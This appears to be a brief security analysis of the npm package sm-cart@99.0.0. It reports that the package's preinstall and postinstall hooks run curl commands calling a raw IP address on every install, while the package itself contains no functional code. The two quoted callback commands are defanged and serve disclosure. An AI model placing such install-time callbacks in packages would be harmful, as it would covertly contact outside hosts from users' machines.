sm-cart@99.0.0

Analysis

The package's preinstall and postinstall hooks each run `curl -s hxxp://16[.]192[.]173[.]5/sm-cart/pre` and `curl -s hxxp://16[.]192[.]173[.]5/sm-cart/post` respectively, making an outbound network callback to the raw IP 16[.]192[.]173[.]5 on every install. The package contains no functional code — its only module logs a message and exports an empty object — so the sole purpose of the install hooks is the network callback to 16[.]192[.]173[.]5.